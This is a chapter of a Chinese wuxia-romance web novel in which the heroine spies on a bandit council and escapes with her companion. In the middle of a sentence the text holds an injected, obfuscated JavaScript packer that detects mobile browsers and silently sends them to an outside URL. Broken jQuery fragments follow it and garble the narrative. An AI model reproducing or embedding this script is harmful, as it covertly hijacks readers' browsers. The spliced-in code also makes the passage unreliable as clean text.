16. 流绪微梦(三)

作品:《风景旧曾谙

    鬼见愁这个寨名虽然起的乱七八糟,但其议事堂还是端端正正挂了块“忠义”的牌匾,里面点着灯。


    忠义堂的椅子大概也论资排辈,最中间的铺了张熊皮,熊皮座两边的位子各有特色,富贵窝里长大的江云悠一眼便看出左边那个太师椅是红木所制,与其他搭着各种兽皮的椅子比显得格外正气。


    太师椅上端正的坐了个人,头戴纶巾,一身白袍,不像土匪,倒像个谋士。


    他旁边还有几个人,不顾形象的蹲坐在台阶上,拿着大碗互相一碰,喝一半漏一半的灌进了嘴里。


    “那走地鸡一天天就会整幺蛾子,说什么干票大的,屁都没嘣响呢,他到先庆祝上了。”


    另一个背上别着大刀的人闻言拿起酒坛子对着嘴猛喝了一口,抽出背上的大刀插在地上。


    “这次废了这么大劲,顺子都折里面了,他要是还打嘴炮,老子就拧了他的头给顺子过头七。”


    “老虎,慎言!”


    一直坐在太师椅上那个人终于发话了,他看上去颇有地位,这几个小弟立马噤声,唯有那个虎子越想越气。


    “二哥,怕他作甚,那怂蛋整天不是拍马屁就是欺负村子里的人,就算他这次告到老大那又怎样,老子烂命一条,走前先把他砍个二十刀尽兴!”


    太师椅谋士的装扮到底没白穿,动之以情晓之以理道“老鹰这人虽然奸滑,但咱们寨子最困难的时候也多亏了他,咱们要忘恩负义,岂不成了跟他一样的人了?何况这次他说的什么交易听起来可行,反正就这几日的事了,到时候若此事真不成,咱们也好与他辩白。”


    炸毛虎被他成功安抚下来,闷声灌了口酒。江云悠在外靠着柱子,暗道原来这堆牛头马面阴帅鬼差拉帮结派这么厉害,饭都吃不到一个桌上。


    里面谋士二哥又道“抓回来的那些人怎么样了?”


    一人回道“关着呢,老鹰不让人靠近,听说也没给饭,不知道现在怎么样了。”


    虎子的兄弟是被他们打死的,闻言又被点了火药桶,吼道“饿不死他们,娘了个巴子的,之前光知道江家那群开船的不好惹,没想到这么能打,也就他们在平陵,要不然我带弟兄们烧了他们那老窝。”


    江云悠嗤一声,心道你要在平陵,我不把你收拾的喵喵叫算你虎头这名白起。


    谁料那炸毛虎虽然易燃易爆炸那一身腱子肉却没白长,顿时捕捉到了江云悠那声微乎其微的嗤笑,往门外喝道“谁!”


    我靠,这狗头耳朵借的兔子的吧!


    江云悠跟着谢衡几次险里求生涨了经验,专门的寻了个有退路的地方蹲着。事实证明实战锻炼人这话乃绝对真理,只是检验真理的方式比较惊险。


    她飞速跳下台阶,利用身形娇小的优势钻到一处□□。虎子破马张飞的提刀站到门口,依他那四肢发达体格,不会想到旁边一条挤不进他半个身子的缝里会有人,连看都没看一眼便走过了。


    “娘的,肯定又是那走地鸡的人。”他找不着人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492836|154777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,提刀回屋道“就会干这些偷鸡摸狗的事。”


    江云悠从缝里出来,听里面的人已经贴心的为她甩完了锅,幸灾乐祸的想:人心中的成见是座大山呐,走地鸡兄,辛苦咯。


    她拍拍脑袋上的土,掉头去往另一处。


    到底是深入敌营,江云悠对自己那三脚猫功夫还是有自知之明的,她没再往里探,记了一遍地形就回了约定地点。


    月光流转,却没照出谢衡半个影子,江云悠百无聊赖的薅光了手边的叶子,后来怕留破绽,又开始一片一片往怀里塞。


    作为一个严重的多动症患者,蹲在这里当石头对她来说简直酷刑加身。于是她边戳地洞边回想忠义堂外听到的那些话转移注意,直到她在地上戳出第五个洞的时候,谢衡终于不知从哪个角落冒了出来。


    可还未等她开口,谢衡就已略至眼前,二话不说的拽住她往旁边山坡推。


    江云悠刚从石头状态中回神,被这秋风扫落叶般的动作吓到,下意识想惊呼,谢衡先一步抬手捂住了她的嘴。


    他紧跟江云悠而下,腾空的那个瞬间,他恰好垂下头,两人的脸相距不过咫尺,近到他能透过那双乌黑的眼眸看见自己的倒影,在那双清澈的眸子里,人好像也与月光一般明亮。


    那股清淡的荷香再次萦绕在鼻端。谢衡撤开捂着她嘴的手,将她扣在怀里。


    江云悠被裹得严严实实,只感觉一阵天旋地转,再睁开眼时,像是置身在地洞,唯有进口处一点光。